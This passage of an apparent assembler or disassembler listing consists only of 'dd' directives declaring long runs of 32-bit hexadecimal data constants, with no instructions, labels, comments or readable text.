9C815FCh, 0B3D4DB93h, 55476862h, 0F01350E3h, 24A3BFA4h dd 0A9912C4Bh, 8AFA784Ah, 0FE277DDFh, 2C287A4Fh, 1688425Eh dd 2BCA335h, 1DA81534h, 0B8FAE343h, 7353AE6Eh, 98A19AE9h dd 5AEAB0D9h, 6D24EE6Ch, 61C10C1h, 0E1A1C39h, 0C1D7570Dh dd 0A82AD3B7h, 30FBA42Dh, 34B9EB4Bh, 16CD11Dh, 82079AEh dd 64BC5D4Eh, 9141E9C4h, 7F5A516Ch, 3578245h, 4FF7DAAEh dd 0E917948Ah, 0BE23F0A0h, 0FC10D20Fh, 976B4541h, 0D86C944Eh dd 0F8EB88DEh, 0B10C9A30h, 172F8B80h, 0B92FEA96h, 251DE561h dd 9AFB4982h, 0A14B6475h, 438051D8h, 543DF6E2h, 0DA01F737h dd 0C6CCBF57h, 7B71DE05h, 512E3D3Ch, 217417C6h, 0FC5D3763h dd 1DBCD0F4h, 9E85046h, 0A0D5477h, 304B9543h, 5C06C9BCh dd 0E8740475h, 7D822379h, 0D5F75803h, 45A6C805h, 68717CEh dd 0A3141A12h, 0D35FFB98h, 7C6FD9D8h, 0EE027A74h, 0DD6A5EDAh dd 7C68EC5Bh, 285816C1h, 706266FAh, 0E5F5711h, 2C49A8E3h dd 14AA0C43h, 0F9628777h, 45FE7C1Ch, 0FADE01BFh, 4C9B252Ch dd 0CDD472F8h, 2C5EC306h, 55020C0Fh, 0E90C2AA5h, 1BE548Fh dd 8038B753h, 0F798DFEFh, 882D5065h, 232DFEF8h, 5386BF31h dd 0EE8870B3h, 0E1D70F30h, 161E3AEEh, 6291AD1h, 0CD136522h dd 6020C105h, 0DC0157B5h, 48583E76h, 2FD50E60h, 4856365Ch dd 782DC03h, 0C6E9E0D6h, 0A0B85023h, 46A26886h, 5FC83FE7h dd 0B39210D8h, 2D8B2F22h, 0FD4C17C4h, 9F178098h, 2A06C31Ah dd 0A1214B08h, 852E7F57h, 0D4C9AD57h, 0ECA6167Bh, 1B2CF221h dd 9BF9D5C2h, 982F10EBh, 88FF71B8h, 4B54F668h, 6ABFBD47h dd 81A97403h, 3B9454C9h, 50118A29h, 44270AB8h, 5B5497E4h dd 0ED049E48h, 1582F21Ah, 1A7257BAh, 49F736B7h, 2158471Fh dd 0B57AD740h, 6925D8E6h, 88B3D922h, 0BE1C9DD0h, 0EE052A28h dd 1E1707C5h, 0DAB1EFh, 87FAE908h, 24A16CB5h, 0D0EF7455h dd 35804C42h, 7F091EB9h, 853E8B84h, 9282E577h, 0EA221656h dd 3C6A169Dh, 69F6E9DCh, 132759B5h, 6DAAB82h, 2D202A58h dd 9D27FE8Eh, 9A094651h, 908920AEh, 44814E26h, 8642D06h dd 2C5C3C0Ch, 718F7EACh, 2DEA8052h, 3E2AD205h, 4A689055h dd 0AB8D7564h, 16703480h, 37365D50h, 342F680Bh, 61F7B075h dd 0AC3F4B74h, 1FAC5F5Eh, 0F614700Bh, 97173D05h, 4184C92Ch dd 595F0035h, 9501EF83h, 0CD66E480h, 0C75E0939h, 3E42E900h dd 2F4D177Eh, 0BEFCD587h, 8FFF8249h, 20B0E492h, 0A098FA2Fh dd 0F6E029BFh, 14B8C07Fh, 0F1A8F7Ah, 0F40B1035h, 3BD38960h dd 55C2C65Ch, 0B3E9180Eh, 0DBD0AE4Eh, 95837E77h, 0C2F47B86h dd 0A6683209h, 3494F749h, 0A526029Ch, 0E533800Bh, 0C4560949h dd 4B69BE96h, 0EA3475E7h, 20C5B5h, 24A6857h, 5F5076DBh dd 0C1A3FFAAh, 8742F9A0h, 0D4E95708h, 815E162Ch, 7E77B2B8h dd 0D113398Bh, 68D03067h, 0E69D5A91h, 26083A6Ch, 54E97105h dd 8CFBB72h, 0D4770500h, 55E9FE60h, 0EEE9F364h, 4BC0F1ABh dd 0C3CC4B79h, 7060B557h, 3AC0BE84h, 4001E568h, 3099B06Bh dd 5329574h, 867B1410h, 0F45A22B7h, 0F5B242D9h, 0A2897042h dd 0BA05E4D0h, 4E943163h, 50C59AC7h, 903FE0A1h, 0FC5B6DE0h dd 98742F62h, 94ED2D5h, 0A365ED0h, 0AD9F557Ch, 0A8AC5EE0h dd 0F3052EBCh, 4C0FE83h, 75C38284h, 69C1A131h, 0E0C203BEh dd 0D9615801h, 489D21AFh, 1EF5A5F7h, 48822EA9h, 0C6B40ACh dd 61F66DDDh, 16398359h, 2CC75BBh, 7199BF1Ch, 0A2A22031h dd 5FE23B13h, 0FAAE24EAh, 149195F2h, 8BBAA05Fh, 27029CBFh dd 0B6817E68h, 6B4020E9h, 85DD744h, 672CCD88h, 0D0B8F2E5h dd 557CDA16h, 2C58925h, 7D67E923h, 0DAC5FD0Bh, 0A13AE962h dd 0D7015B95h, 36D8AA87h, 3B00B9E0h, 3A13E828h, 5025C1BEh dd 7749AE9h, 0F65F9F05h, 14CCA31Dh, 0C4BBAB02h, 841B2E10h dd 4EEAF0A4h, 0E36E0319h, 0E85CC97Eh, 3605DCFAh, 46374B21h dd 0DD507DC2h, 0D17F939Ah, 3CE62C43h, 1CFD562Fh, 0B5287DE2h dd 8950B45Ch, 4CBE0B75h, 4B23CBE9h, 2EA8B3BAh, 0F23D817Dh dd 9629787h, 28238C01h, 0C824EA5h, 50C2684Bh, 0A2AEE455h dd 7F734264h, 827D3CEAh, 902AEB87h, 3DA240F0h, 149654D5h dd 233CA475h, 96E10C3Ch, 25453358h, 309869FEh, 5A13B404h dd 98D16C55h, 148F4A85h, 0B17BB54h, 9716E89Dh, 51046FCAh dd 0DC0B36E9h, 0D4318BBh, 0B2507264h, 5F4CCB8Ch, 6A0626Eh dd 262F3319h, 75CF8917h, 0F501C702h, 4B94941h, 0BE3380FEh dd 37145972h, 2FA24E5Eh, 0AD65C039h, 8DF49705h, 0D9C2D03h dd 0B8A0F7D2h, 17348604h, 0EA8407E9h, 5B9DD688h, 3B34BE79h dd 0B6C440AEh, 0B05053D6h, 0B7068B74h, 7DF9E90Ch, 20B2902Eh dd 924E6F0h, 2169AFEh, 0E97AE2A1h, 0F103B403h, 80DE0233h dd 1F2FB525h, 4E051579h, 809E722Eh, 590651B9h, 239E8C1h dd 40841A2Dh, 4766240h, 0B5E110D4h, 582CED2Fh, 536E2DB3h dd 0EDA8626Ch, 0DC9F09C6h, 66E9E20Bh, 2AB8E3FCh, 0A9F0262Ch dd 4C5F7671h, 8AE086ECh, 58677B19h, 2342900Ch, 0F2607F2Ah dd 0D52D3B3Dh, 0E9374028h, 0A28E5BD6h, 9C9F84A3h, 942874AEh dd 0EBC757A8h, 0B15DF32Ch, 21BD60A0h, 20E5681Fh, 72120A1Fh dd 2B006B0Ch, 615F7AFFh, 9FD7287h, 9B45E9CFh, 4788F446h dd 5D821952h, 0C33153E8h dd 7807D890h, 0E929A70Eh, 0C1F45284h, 4C7F26A2h, 76C10705h dd 893AE0B5h, 0C52DE9CDh, 4D3F68EBh, 4E393D47h, 21421DAFh dd 8C96D955h, 0DEDB2290h, 0B5B22EEEh, 0F8215C09h, 1F52775Fh dd 0E915D0E4h, 81CF2858h, 7E715752h, 5B1EB06Eh, 0BD02CFB4h dd 5F9D1ED6h, 0D4D2885h, 8013D984h, 53555DC6h, 2F4E5168h dd 4A223510h, 130EF007h, 41E80EB0h, 6CFC31ADh, 1CCDD610h dd 824E286Dh, 7FFCCB18h, 0A708C527h, 51D57BE2h, 69964988h dd 68C09095h, 1A9B9F87h, 3C59AD3Eh, 80DC549Eh, 7D84E895h dd 0CB15C94Fh, 0A66FFEFCh, 201B12C5h, 297A2D64h, 24DD8DA2h dd 0ECBF5887h, 5F6DDE79h, 8B54BBA1h, 68BB2B34h, 6F5B618Ch dd 0E9C5DEA6h, 0E0DE570Ch, 87E6BCA0h, 1A0F7360h, 8849160Eh dd 70B1FCFh, 508BE97Eh, 3280B797h, 74791CE8h, 190F28B8h dd 8031C33Ch, 1FA55DF3h, 13D4B7A2h, 0D9BBE984h, 2F69A7FEh dd 3D8AE401h, 0E5BDACFDh, 0DBE2FB94h, 7800B4CBh, 20E1B353h dd 93E0DC4Fh, 481D7CC4h, 1E3033E3h, 47C9E6C9h, 805D9F25h dd 1306C35Ch, 0DAE91744h, 0F41FB464h, 7C5F687Fh, 0F70356FDh dd 5A965C1Bh, 90098674h, 7529F825h, 48026629h, 18FF200Dh dd 959AEF1Bh, 77B79E22h, 60A36801h, 0AD8C8D7Eh, 33ED3E0h dd 8672552h, 0AA9D5ECEh, 2E0E759Fh, 0F70F8960h, 5F88C20h dd 0B42575DBh, 0D7CE922Dh, 0FFC9D453h, 0A9128C85h, 69BCA282h dd 247D5937h, 7021EAF4h, 0A83F61F0h, 0B54D476h, 85B06C47h dd 0A386D50Eh, 335C5B59h, 3B02D3E4h, 0DA9D64BFh, 682752Dh dd 3DDF289h, 77ABBE65h, 0E36BF738h, 0EAE94ADCh, 0FD850F04h dd 0D3B5ED63h, 0E8B32CEBh, 4A9E7004h, 46B0D4E9h, 91D00AF7h dd 1F9BA52h, 0D1216B5Ch, 0E5D0FAE9h, 174C8062h, 0FF396A8Ah dd 11BF7EE0h, 6FF83D13h, 0F56AD4F1h, 6F0B07F4h, 781E9401h dd 0DC18AD77h, 605D98ADh, 5BB8C15Ah, 3D7681Ch, 72DC7C2Fh dd 3314F3C0h, 3CD8DEB5h, 9A2B879h, 0B21BB7FAh, 0DB6692DFh dd 6BE904A5h, 1CCAAFA3h, 6544BE5Bh, 560BA81Fh, 33470EE0h dd 463A2214h, 2CEE3AFAh, 8C1282AAh, 40519D82h, 3E61E78Ch dd 0F4253070h, 6B24B045h, 0D590672Ah, 25F6724Ch, 5C411A4Ch dd 0C1632577h, 2A9F1F55h, 8BBF5184h, 508B44BBh, 0E2BF719Fh dd 545CD8E9h, 0D4395913h, 0DB2B217Fh, 0C5FDC234h, 0F9AA62Eh dd 0B47720E9h, 6C4E041Dh, 51CFB7E2h, 0D7426FC9h, 0C2DCF955h dd 4D68657Dh, 2C9059CEh, 953C2F14h, 10B77EBBh, 62743A87h dd 6E461622h, 68136666h, 16A36696h, 3F90AD10h, 596E135Fh dd 98D8Ch, 81374161h, 6B162ECFh, 0BB530D00h, 0C09488D5h dd 5BDF2701h, 1379B342h, 6473D6ECh, 0ABE55920h, 0BD5FC18Ch dd 74CA629Ah, 1AF25340h, 817E8800h, 9D57ABE9h, 0FC48BF38h dd 0B012D5F1h, 2FB117Ah, 5F5747Bh, 8A0B8F6h, 2FE9590Ch dd 7B86663h, 5EB572BDh, 0A78FB397h, 315BF016h, 8C5D54F1h dd 0E842E7CDh, 84567E9Ah, 0C242A925h, 0E874A415h, 5E685061h dd 3875843Ch, 0AF5A6CA6h, 29E96768h, 9F57751h, 666A291Dh dd 0F38F5DEAh, 0E24572A5h, 65AC0791h, 40C36F90h, 8FEF85A5h dd 3BFB5947h, 302F121Ch, 0C8C30C90h, 3A322D2Ah, 8A08556h dd 170DB9A2h, 4DEE301Ch, 980464BDh, 2D6D0767h, 9BD167ABh dd 487B6921h, 5C06E02h, 5E6E3975h, 0B729416h, 71FE5E08h dd 73D85DC9h, 0A0365F95h, 0E985D0A5h, 0AF449D4Ah, 69EA11C6h dd 5841374Dh, 52418571h, 0E9B961EEh, 18AC6F2Ch, 5FBF6809h dd 0BE0DBA79h, 0EB2B1A5Eh, 9B001874h, 9CF0F29h, 0F1284AE9h dd 2F2C7E38h, 5E39921Ah, 1201E830h, 0FB3219A2h, 44750BE0h dd 0EB9590E6h, 0B54422A0h, 6E5FEBE0h, 0EB3EC1F2h, 0E214E902h dd 0F2AFD7C1h, 0A407D86h, 700C31B0h, 855D9568h, 547440ECh dd 359A34ECh, 2003F095h, 0D003851Ch, 2AEA80E2h, 7FC5B728h dd 3CC18EF0h, 151705EEh, 1B8BBFB1h, 1F9AF94Eh, 4F786851h dd 0B72B7B6Dh, 8EE93FABh, 0A54E2123h, 0EC4413E2h, 3EB3201Ah dd 0FC32FA02h, 0B1775D4Eh, 94546C03h, 0E70EB0EEh, 0FF2E5D41h dd 2300221h, 2C1A302Bh, 1116A303h, 60EBDF31h, 6CCD6816h dd 0DD6BDBBCh, 2D5B9B60h, 51114C09h, 4702FF75h, 4E555CBDh dd 60DBBF21h, 0D959C809h, 0E7F9AFF2h, 0C2EF30E9h, 0F61F1EA2h dd 8B4DC983h, 243C2279h, 2D815207h, 6CC5811h, 16BFF06Bh dd 1975BB4Eh, 58B33CEAh, 0F11D0EB0h, 84A5E663h, 0D2ACCB96h dd 87D45D2Fh, 0EB466541h, 3987FC64h, 0FBCADC28h, 99E9FA45h dd 0C8BE0990h, 7B720064h, 9E1235BDh, 0F50A2933h, 0E610D9E9h dd 1207958Eh, 4AB7F6BBh, 0E91798ECh, 9DD05222h, 8969F480h dd 0E1BE8292h, 275CF908h, 14251DEh, 94CA0F54h, 0D2DEB08Eh dd 0D487CC4h, 197E1D88h, 0C009BDEEh, 4E515583h, 0F20041A9h dd 6ED17F16h, 647AE701h, 76ACEA15h, 7AADC1C0h, 2924579Ch dd 8205ED9h, 0FCB524B0h, 35B69F4h, 0B4A91B12h, 28B25B24h dd 36D050C6h, 0E18CE0E9h, 498E76Fh, 5BA55E02h, 551049F9h dd 0D4CB4197h, 1B7E6F0Dh, 78FB0C4Fh, 242DE9CEh, 0A5C9D16Ah dd 0E9420F59h, 12B8D46Dh, 0A140BB2Dh, 1A0B6905h, 699BFE3Dh dd 0F200C3AEh, 6B7724FAh, 9494539Dh, 27DA85Ah, 0E9785D0Ah dd 20556A3Ah, 52328CCh, 4AC2F645h, 78E9C91Ah, 3B55B1D9h dd 603129ECh, 7AF572C5h, 277A9E47h, 75BFE94Bh, 297E612Ch dd 98F62FCAh, 0CC70892h, 67215812h, 0DA238AD2h, 34AAF04Ah dd 9E732C28h, 0BDDD0C20h, 6F43F420h, 3099540Eh, 0F5252909h dd 7E80598h, 1EE6404Ah, 5801AA60h, 0BD16562Dh, 0B9ADF520h dd 54C41C73h, 0C331A5E4h, 75B2D084h, 0C3F2E913h, 4FAAD756h dd 8F537221h, 3BE04CB7h, 40F8F9ABh, 943218BEh, 7382D702h dd 0A8775BF5h, 282C02BFh, 2D173A1Eh, 62C97209h, 4E5B7DD4h dd 0E40055C8h, 81750357h, 56E09C7h, 51001502h, 19534E1h dd 0C909F7F8h, 801F875Dh, 0C2130991h, 0CF290B6Ah, 0DB782DE9h dd 2F875B5Bh, 57BB32E0h, 97FCFDD1h, 49F9B584h, 0F9018689h dd 2A02AB81h, 319054Dh, 0C2011398h, 957E29Ah, 7A5EFECDh dd 0D533625Dh, 6649417Bh, 5E0DDE3Eh, 8F5D9EEh, 0BDC16555h dd 349DDEDEh, 5DCF233Fh, 25EEA2E4h, 5E2B7F51h, 0B7454F81h dd 18FD6F65h, 0E5022C88h, 0DDBEDFE9h, 1A95E6B0h, 93765B95h dd 0B98CB0B3h, 30F96705h, 0F1AB3152h, 2266D92h, 7E6571EDh dd 7DAB4011h, 30C3283Dh, 0EA807F6h, 0A4E921CFh, 0A7BE00A5h dd 0BF6A0B22h, 8E1397F4h, 74BB4485h, 0BCDC13FEh, 4C13DEADh dd 0F6BFFB40h, 2576CD36h, 0D942D7F7h, 87B60F80h, 295B2B50h dd 294F71A6h, 2DE62E72h, 2643AF4Bh, 7BD1215Ah, 1ED52787h dd 6ACBBA18h, 27ABC94h, 0C8BA0389h, 1754CA7h, 0F3350B9Bh dd 3B492E3Dh, 0E14D9D04h, 7ECD8EFFh, 9A7BB62Ch, 0ABE5D18Ah dd 0CBBDFC02h, 0B5E940ACh, 1FDA2540h, 51395954h, 6EEC6108h dd 17B41100h, 1480D4F6h, 0F8C0E6ECh, 0F24CFE3Fh, 13BE882Ah dd 6980941h, 36B0E598h, 65E468FCh, 905BEA9Ah, 515EEF82h dd 7468051Eh, 92A2B922h, 2C1FA4FAh, 2AF1B55Ah, 662E90D3h dd 0AEB63C52h, 5118BB33h, 0E82851E7h, 685AF859h, 8EDEED59h dd 0EAC002B2h, 0FF62C104h, 66020C81h, 0D2209E68h, 48C09C72h dd 0FEDDF65Ch, 0F3804CCDh, 35568837h, 0AEC8EEC7h, 305A26B1h dd 26D82DBAh, 0C1805C07h dd 7684E9F2h, 4FD1CEBEh, 407722A4h, 0AF903116h, 5909CDE6h dd 5EEF8957h, 425C3DD3h, 0E5DE9F7Dh, 0DA1542h, 0D52EC868h dd 0E9A0255Bh, 321A0B47h, 0A88389E1h, 27259669h, 5D56C402h dd 0D18F1F7Ah, 29B0053h, 519ED40h, 5124D009h, 20C77652h dd 96C3B407h, 84860B55h, 2A6769FEh, 2FB9C649h, 3BD9E5EBh dd 45835844h, 0E2931172h, 49331741h, 3B43B043h, 0BCD7C44h dd 5C6C137Bh, 14C35DC0h, 5B151B12h, 0FA0B41FFh, 2A4ADF73h dd 903A6AC8h, 0EF614AD6h, 0A81600C4h, 1E51EDE0h, 527267DEh dd 4AE9E885h, 2F932DFAh, 0C112CBFh, 28BAC35Eh, 0E98802ACh dd 0F795C9Ch, 604B4081h, 5812E21h, 0D525A284h, 0BED60822h dd 0B5A80218h, 3E929FCAh, 13857D60h, 2D4A7D01h, 5AA5032Ah dd 2C6DCCD4h, 27867A77h, 0B21EE7D8h, 0E4F0E234h, 0E81C5Eh dd 0F262D3Bh, 0C829677Ah, 59070550h, 2EC1892Ch, 2723089h dd 6916E9AFh, 7CD9400Eh, 2ACE992Eh, 229BD4Bh, 765E0806h dd 1E09C36h, 82E97E2Fh, 98C83FA3h, 44D55F89h, 990C2Eh dd 3054BE56h, 22524C71h, 9B4B510Eh, 5B82FFD7h, 2D3BEBBCh dd 15DDDD3Eh, 9D562796h, 5A340616h, 852480FBh, 3707D739h dd 452BE281h, 0E3C33F55h, 0B87B1D9h, 9FFA9970h, 0F59ADD13h dd 944A61C0h, 4382BA94h, 0DD599B4Dh, 0F497C607h, 554D031h dd 0EA3A39F2h, 5B13F309h, 31FADF98h, 2B896718h, 0E93F0979h dd 73CB1012h, 0D44EB248h, 0E4B2BE72h, 77F4C1A4h, 5197741Ch dd 0D6595432h, 887FF690h, 0B8136474h, 186D9100h, 28CD3540h dd 27B74466h, 0D1A2386Bh, 127DD453h, 55084AD0h, 1C458E5Ah dd 0E0C263E9h, 971965B9h, 6DB0E54Eh, 5B3AC896h, 63BB0504h dd 0EFD2F704h, 0E6B79B41h, 922BB812h, 7AF5ECFAh, 3CA80F65h dd 0CC646447h, 0B90FD0F3h, 102E3778h, 2D00F658h, 0EFC88743h dd 0B7C57A01h, 0BA58D556h, 0C87D82D8h, 0CCB5D2C5h, 9F68C611h dd 0E96F642Eh, 397CEE07h, 0E4E974F4h, 4B1E109Fh, 0F98AD0FBh dd 4D7ED06Ch, 9C740E2Dh, 80FAA080h, 0A210423h, 0B828D4E9h dd 7D50CB93h, 9CA0A045h, 0DE2D4B9Ch, 55CCE0C9h, 0E9187B05h dd 0BF22709Dh, 19E8F9D1h, 0CB59BC31h, 5B6B28F4h, 0FFDD17CEh dd 0DA6A7321h, 351FD679h, 0A7FC9C3Dh, 318C29FEh, 0EAAD3415h dd 576813D8h, 7EE7611Fh, 34757A97h, 487F1C82h, 0F0505624h dd 0FB72B7FBh, 0C766570Ch, 4A406E3Bh, 326AB048h, 0C631CF16h dd 0B9E24ADh, 6A0C3EF2h, 0C003E40Ch, 12E9ECD0h, 0F2750265h dd 195902FEh, 72F8C880h, 6EB00685h, 2BAE340h, 7CF14680h dd 3D78EA83h, 433EE209h, 2CA48013h, 4F1469h, 8F58A225h dd 1BE42D62h, 485EC91Dh, 8B415983h, 0E685D964h, 886E5CF5h dd 0FD3868B6h, 2AAE5F3Eh, 6E445244h, 3F462380h, 5BCAB04Ch dd 27D32611h, 86FC01BBh, 0E631E6E9h, 97B58340h, 0E1EEF48Bh dd 0D6C13A02h, 212E58F1h, 70645C1Dh, 1DFA024Ah, 942D8D94h dd 2D5C0247h, 0B657AD9h, 1A51BA81h, 44B9214Ah, 0D808420Dh dd 158B055Bh, 3325C272h, 77E329FBh, 5590A20h, 0BB095BCDh dd 0D8B0E96Bh, 5F5427E2h, 4D0F3C55h, 0D7137453h, 0EF8A2C03h dd 0BC3E4309h, 40D60D77h, 0C91C0806h, 0CBDDF0E4h, 8437FB86h dd 0E0C0B9AEh, 5A31685Bh, 2EF1B346h, 3B3AC7ECh, 0DAEA2EE5h dd 5795BC20h, 0D8307498h, 0BA0B6599h, 0F8027454h, 0F973F766h dd 15D46812h, 0CC44DEDh, 386FB654h, 0C431DA58h, 0D407BD53h dd 0E198BE40h, 2B313AC1h, 0BC5BB9Ah, 348919DDh, 1319F7FAh dd 680AC4F1h, 0C8EF7751h, 4A097C2Ah, 152DBF7h, 1F78AE95h dd 99D13321h, 0C3B05B02h, 56524D68h, 0BA3A104Dh, 4E1EC5Ah dd 1F1B1062h, 5F04EEBCh, 0C47FE43Bh, 0D540AE5Bh, 3E27DAF6h dd 80295E79h, 1ED4C7CDh, 43678D2Dh, 0AB7DE826h, 1E2A9036h dd 655D5ABDh, 0B97625Fh, 688EC808h, 0D9634A36h, 5A6927ABh dd 91098421h, 25789773h, 0BBFB3292h, 0BC111A3Dh, 525D525h dd 8080E04Dh, 5D28CE2Fh, 9F7F429h, 0AE620282h, 62177659h dd 35463BB1h, 935BF095h, 651D098Dh, 5DE9BA77h, 6AC28A71h dd 4267D13Fh, 5E01E8FAh, 0F020C083h, 0E72EEDD1h, 5EE85A4Eh dd 0D46E9B0h, 17FC6881h, 0D9169D74h, 2C1269B0h, 0EBFE311h dd 0EA125F18h, 0C1C56BF2h, 487A90E8h, 5D7C102Ch, 0CC01EE26h dd 29165E0Eh, 2AA05553h, 0B02674E3h, 22AD055Bh, 3E5DF15Fh dd 47B8C241h, 41CE1B1Dh, 9025F89h, 0D66C05F5h, 1B37B97h dd 11E3C1F9h, 3850293Eh, 0C3497F67h, 2ACA4E0Ah, 29AA110h dd 0DC3AF1BDh, 89F2857Eh, 0C46E66E1h, 0A606EF99h, 0B7726F98h dd 896FFDF4h, 0DB466371h, 0E6F4B94Ah, 0AF40B933h, 65FD8223h dd 445D2560h, 5214252Eh, 8A0BA55Bh, 87CF5655h, 8BCB41B8h dd 0DDF04D43h, 4D48FB47h, 2EF306DFh, 0B18043Ah, 2D1113DEh dd 0F979F842h, 640216BFh, 0A40419A3h, 83ACC5C4h, 4B80E4B7h dd 0A2CE917h, 60422580h, 4A126109h, 0E1730E80h, 4E91B74h dd 7D8C29B7h, 0C32F69E6h, 1A519802h, 65EF2D10h, 9F8871C5h dd 1323266Bh, 5BD8F42Dh, 364E5DECh, 3A19A8E8h, 305468CFh dd 2140133Fh, 52680D51h, 60E25B15h, 66487E26h, 0F6893527h dd 0E982C0A2h, 5DA711Ch, 264B1B04h, 0BC04020h, 4FC86FC2h dd 62FEBD04h, 0E2143F2Eh, 0E080FD61h, 191E2133h, 8C01CEFEh dd 0E92CD059h, 0E52D7040h, 9606D707h, 7D39B201h, 0FFA759D4h dd 0C3310E98h, 0C22D5802h, 615AC63Bh, 7430543h, 0ADE2B45Bh dd 84DD542Fh, 0F2EA2CDFh, 6FE9B0A3h, 0AA68978Eh, 59E68103h dd 4E533F13h, 22F1A001h, 8B6028EDh, 0FD3516B5h, 1373FC2Eh dd 5540EA21h, 5FB951E2h, 3D072410h, 0D5B1A27h, 0B058FDFh dd 0F7B6C0F8h, 5EC4B8D3h, 0EA6AA441h, 524ECB0Bh, 0FB3BA242h dd 89526595h, 0B071E5C8h, 0E84D7A82h, 704BD672h, 0B73E6E77h dd 76F50207h, 7D73237Eh, 330CDBFAh, 1E6A7724h, 13191875h dd 0B4431872h, 0E93F4204h, 2A9AE65h, 0FED1F6C1h, 8996FCC1h dd 6CC346ABh, 3A3B58Dh, 1ED2C3C5h, 0C1591B49h, 9AB17AF3h dd 306DD83Ah, 0FAFA76BDh, 0A62817Dh, 98EFE1C0h, 48005E9h dd 76856C1h, 4732BE1Dh, 8DE655CCh, 663BB409h, 2E925553h dd 9D392D61h, 93BEF365h, 410B6A85h, 41BD7E84h, 77C9E68h dd 590818D2h, 0FC3E9316h, 6685E67h, 318BBD77h, 0B70EFFDh dd 8C1B61DCh, 224FB3C1h, 43400589h, 0D8805A7Ch, 5FA4E886h dd 9D418115h, 0E27435F6h, 3D005BD5h, 0B244EA4Ah, 0FF9028E9h dd 9D05D029h, 515AB148h, 6F0BCB90h, 5C71F379h, 111FDCh dd 0E977B921h, 0F0B7EF94h, 7603B7A6h, 997E653Ah, 0AE1B8D09h dd 0C91B832Dh, 0F54BF27Ch, 80DF34Ah, 5814011Ch, 0B359F45Eh dd 95094E95h, 5955F5C2h, 0FF1497E7h, 0A42A02DDh, 4F0515DBh dd 0C4E945B7h, 11AD0895h, 11C5173Eh, 224376C0h, 7909929Eh dd 706F5411h, 0B0E235EBh, 0D7FD284Ah, 0A2200841h, 0FF5F6006h dd 8B0108E3h, 9AE7185Ah, 0E9F9984Ah, 3475E731h, 84287C68h dd 74D75CDFh, 82C2FA1Ah, 0D1D0D551h, 0E15BFD2Fh, 0F054ADB5h dd 0E1BE5284h, 0F70CA501h, 0BA000D09h, 11AC35F6h, 8FB772B0h dd 28E001B7h, 0E47B73A8h, 450E2DC5h, 0A014E802h, 10F44C93h dd 95CF7FE9h, 0F7A5785Bh, 4EFF419h, 25DC8A92h, 4EA6AA52h dd 7F88BA96h, 0A0BC4AE9h, 0CC9D5CBDh, 199984A8h, 399545E9h dd 8D8885EFh, 0B605BE39h dd 0AA3676Ch, 3D9DD3Ah, 3FFBDA4Ah, 51C5DBE9h, 688F1DB8h dd 91123B8Fh, 51A2B74Bh, 75AD0C8h, 73496352h, 57534228h dd 79CC8BF7h, 78248CE7h, 32402AC5h, 5552165Fh, 12B0C357h dd 3B3492A9h, 70553E1h, 6310DEB9h, 0E0D11D68h, 554F24D3h dd 8947A550h, 1E63D9C8h, 524A385Ch, 3EC988F9h, 4A9F224Eh dd 138EF34Eh, 7C0B82F3h, 1C05F4Ch, 0B014380Bh, 40A25E13h dd 81BD5B07h, 680F6AC6h, 474E52Bh, 1798EA08h, 8A872AE9h dd 4D5D3480h, 94B9AEB2h, 229E0492h, 547A8C42h, 3E96EDA1h dd 0D5B9FED7h, 479C6E5Ah, 0F2B08A25h, 4F7D9102h, 5F68B03h dd 0EFCF147h, 2D8058C9h, 671A1155h, 8EB1E917h, 8B6D56C9h dd 0B44C297Ch, 0E776A7DBh, 0CB28BF80h, 41DAE979h, 30DBF573h dd 0F3B5955Bh, 594662D6h, 4243FB5Dh, 0ECABE1E9h, 42F41400h dd 43B55E60h, 0FD16F10Fh, 59843D24h, 0D4842409h, 0E0C1034Eh dd 0D584C208h, 0FA527C11h, 7FD95F09h, 84C9EC2h, 2BFF2FD8h dd 32BD02DCh, 26B9F77Ah, 3DFA3AC1h, 222260DDh, 9C62A596h dd 4A020B8Fh, 0C07703D6h, 0D6EC0898h, 24B90217h, 0F3786A29h dd 0F344A48h, 41D23ABAh, 5AD389A6h, 35E90A34h, 58D74D6Eh dd 38715683h, 16B951Eh, 81F5074h, 4802E9ECh, 826E9379h dd 7D1384h, 28B6CB81h, 20721525h, 524F534h, 2FE93C33h dd 0BDF965E8h, 51233484h, 0FBD8AF7Ah, 0E85A1CC6h, 2F28432Dh dd 0AFB5239Dh, 63A05488h, 0EB80469Ch, 6C90ABA5h, 246853C3h dd 676966A3h, 4AA99252h, 0DC9C7079h, 0A058E68Eh, 0E9535AF4h dd 12729CF7h, 0F2F1065Dh, 0E6BCA5D5h, 0E845DA01h, 0FC2E0536h dd 534B4ECBh, 8419F909h, 0F17EE954h, 4BA2D465h, 1590A4B2h dd 0E741C20Fh, 0F68A8A0Eh, 1967FAFh, 0A29C3BB3h, 0D00128A0h dd 299105DCh, 0AF4A1FE5h, 0B00760F5h, 0D7CBFED3h, 5989B2h dd 1E2751B9h, 0E1B8614Eh, 0DBED8083h, 0D859EFB9h, 0F7F223C7h dd 0F828AC0Eh, 7F068BE9h, 0C17D8A9Ah, 0C7AD3FFBh, 32D82DCh dd 9E8687Eh, 715CE9F9h, 3A3C7F11h, 0B092D9B9h, 2E4F334Bh dd 0AE8263D4h, 2D4674B5h, 2791BF0h, 0CD748333h, 0F0F9B0C7h dd 0B669B563h, 6F4A70CAh, 122A369Fh, 89665C68h, 11BC2F41h dd 13C88A92h, 0F251EE01h, 52904CFBh, 54257B43h, 2B475DE4h dd 0CE0CEF24h, 6E08FD69h, 27C441C2h, 0D254D288h, 4AE20255h dd 0E986FCD8h, 98F16F43h, 1EBF0415h, 76254479h, 346D879Ah dd 4F64F77Ah, 72E12EACh, 0CE87014Ah, 0D56240CAh, 81681851h dd 92DB2308h, 59C8BCA8h, 0D0506790h, 3240258Dh, 0E6FEEC80h dd 3F8576F1h, 4D125CE1h, 9264AA94h, 595EB5C0h, 29342533h dd 8204756h, 6FB6E916h, 269F8CBBh, 47F89D84h, 68EFA19Dh dd 0B0767108h, 3140AE3Ch, 0F95EF125h, 808F88FAh, 0C1728225h dd 121340E2h, 0F4DBC683h, 0F0B72049h, 464409EEh, 707D6640h dd 0A95B7C84h, 3160D7AFh, 0F42D81F3h, 1E5B346Bh, 71062C4h dd 16AA4FFFh, 0DC05BE89h, 8CAF215Fh, 0BD6690h, 0D69ABF11h dd 0A1164A8Ah, 0FAA26E93h, 6E30A95Fh, 89C3E5F4h, 0A2A631ABh dd 66756F5Bh, 133DE3BBh, 0FFB750B0h, 2853BD02h, 0C1806543h dd 1D404F9Bh, 0EDC1F3A0h, 0E90A0267h, 0C5C929FBh, 97C825B8h dd 65821F03h, 0D8FC2DFFh, 0F282FC7Ah, 0DFA9E142h, 0B70214DFh dd 0E61A87h, 74011008h, 